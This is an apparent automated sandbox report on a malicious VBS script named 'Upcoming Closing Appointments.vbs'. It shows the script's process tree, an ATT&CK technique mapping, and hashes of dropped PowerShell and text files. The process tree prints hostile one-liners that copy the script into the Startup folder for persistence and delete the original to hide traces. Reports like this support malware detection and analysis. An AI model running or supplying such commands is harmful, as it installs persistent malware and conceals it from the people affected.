        ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1636
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs"
        5⤵
        
        PID:1200
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Upcoming Closing Appointments.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5928
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs & del "1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5324
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 05017e5f2bd1649b3f5fffb370717f6d22c3388d02211ba04900409431ae7c04
MD5 a46129eecd6b698e904bce5bc4601755
SHA1 385d3607e621631a535d34c6dbaf914591f59ecf
SHA512 6c7d474742134c6bbf7690289daf36c1e44ef8cccd6648c32476c23eaa485749e376488e27043357ab3cdd40245cdd2e118c505e4bfe726396ceef8c1ba41490
SSDEEP 1536:1KLg07Yo2hk3MFfKQ1AflJdpHYLh4iUxpR40i71YigM3yPTOdB4V3CNBQkj2Da5T:1KLg07Yo2hk3MFfKQ1AflJd9YLqiUpRw
TLSH
T144636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_uarjngmi.5os.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uarjngmi.5os.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

vmybr.txt

Path C:\Users\Public\vmybr.txt
Size 32.0MB
SHA256 7cd36c49895ae592d55be62d12307552d54a9931fa90b5f24745aa98ddb20bdf
MD5 1c1cc53676e3e749193996cf093e256c
SHA1 9f3f03807884d21dd19a6df21a8ccb5f42ea2a99
SHA512 85760ca28a54e9daf52a4d361c6eb5f2025ca722685283ecfd8e73a05c95960ba6c50809a241b8d469adffcbcee105d19317219a8675258ae1f28b6fa36aa91e
SSDEEP 3072:dbZWBpFZtcInv450BjRDZaLmenPGJO8oJDk7Gc/uXLthx7LLfotmXJs1eni7SeMY:c
TLSH
T11777ED7DCEE8423EC2B7C929D9CA4A17F85A092B230CFD4A58D773A755271827CE211D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrhwy.ps1

Path C:\Users\Public\xrhwy.ps1
Size 5KB
SHA256 2fc0f22e4bd0dcfeef30d608cba10b60f61b37d17b6d698ad9761da6d9786bf8
MD5 98d1f1389dc7c8a0603beefd5b99018b
SHA1 c3d59acf614b841dab01f1cb5cee9501b79de50c
SHA512 b0209c0112065820c83ebaec34b6190e0c3877fb03ae68f81bbdd0b6bb3f1b288a91b3261a272c3ab22bea459525a78a1d2ca18c8cf092f38daec17fe9023713
SSDEEP 96:lkO700BisZ5X5PHALFthjYxdaCpbLR1x99HYHAwelXgBQ1QadUDCevEbtUqnkVBc:SE0uOtlYxdnpZ1uesQjq+cZDWh
TLSH
T166B1262057E55608B6B35F05A9BFB451887FBAAD9E36DB8D0048C04E07F2A50CC67F36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysyfr_01.ps1

Path C:\Users\Public\ysyfr_01.ps1
Size 1KB
SHA256 1afbf8736f8c17688ca4b232be466493980ceb6a2fb2b40af83cc6d4d6b7a308
MD5 07fd2fbe47bf0d6b2f25c09152dfdec3
SHA1 f581d75a955a1cf4afc74a863819833e39f55eb7
SHA512 beb455ffaf47af402627eed8a4e9c774fa9dd34f5c01cc8f10e74eb11e66e77e75f0f3d7202bc5b0acaa176a4d3816243a1f88dd3244a464b13e94a33e39ba2e
TLSH
T157313B5066F55618B2B35E14B9BFA551497FBABEAE75CB0D0040C08E1BA1A44CC76F33
MD5 SHA1 SHA512 TLSH

Submit Download

rrhmz.txt

Path \??\c:\users\public\rrhmz.txt
Size 120B
SHA256 32171e62889696a8d9eee553b8aeff5153cf293a7390ada2c23a88a6a014146f
MD5 f8cddfe7e08320b9c431dcaef8977cac
SHA1 2cb7d264523a747268c1bf549298dade36691449
SHA512 ad29e8473628a56d017435092dd41276b148c4e7d80e4de24b66ba118e2203550beec01c59a973068ab9c939600d1318286e702f4144dbac1e04d205a8657c6e
TLSH
T1BDB092A6A68BF0A81DA3189813E8D01984CB7AC76561C0986605C333BA005AAA211BAA
MD5 SHA1 SHA512 TLSH

Submit Download

memory/264-7-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-18-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-10-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-11-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-12-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-13-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-17-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-9-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-8-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-6-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-5-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-47-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/264-0-0x00007FFDFB5AF000-0x00007FFDFB5B0000-memory.dmp

Download

memory/264-4-0x0000021164B40000-0x0000021164B62000-memory.dmp

Download

memory/264-3-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-23-0x0000014B9C040000-0x0000014B9C05E000-memory.dmp

Download

memory/2916-38-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-30-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-31-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-32-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-36-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-37-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-28-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-26-0x0000014B9C0C0000-0x0000014B9C0D0000-memory.dmp

Download

memory/2916-27-0x0000014BB4650000-0x0000014BB466A000-memory.dmp

Download

memory/2916-25-0x0000014B9C0B0000-0x0000014B9C0BA000-memory.dmp

Download

memory/2916-24-0x0000014BB48A0000-0x0000014BB4952000-memory.dmp

Download

memory/2916-48-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/2916-19-0x00007FFDFB420000-0x00007FFDFBDC4000-memory.dmp

Download

memory/6000-50-0x0000023720530000-0x0000023720531000-memory.dmp

Download

memory/6000-49-0x0000023720000000-0x0000023720536000-memory.dmp

Download